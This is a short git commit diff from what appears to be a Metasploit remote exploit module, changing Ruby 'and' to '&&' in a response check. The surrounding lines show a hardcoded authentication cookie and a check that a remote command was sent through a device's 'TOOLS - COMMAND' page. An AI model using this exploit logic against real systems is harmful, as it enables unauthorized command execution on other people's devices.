Changed and to &&
parent
280e10db55
commit
564488acb4
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
|
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
if res and res.code == 200 and res.body.to_s =~ /TOOLS - COMMAND/
|
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
|
||||||
print_good("#{peer} - Command sent successfully")
|
print_good("#{peer} - Command sent successfully")
|
||||||
else
|
else
|
||||||
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
|
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
|
||||||
|
|
Loading…
Reference in New Issue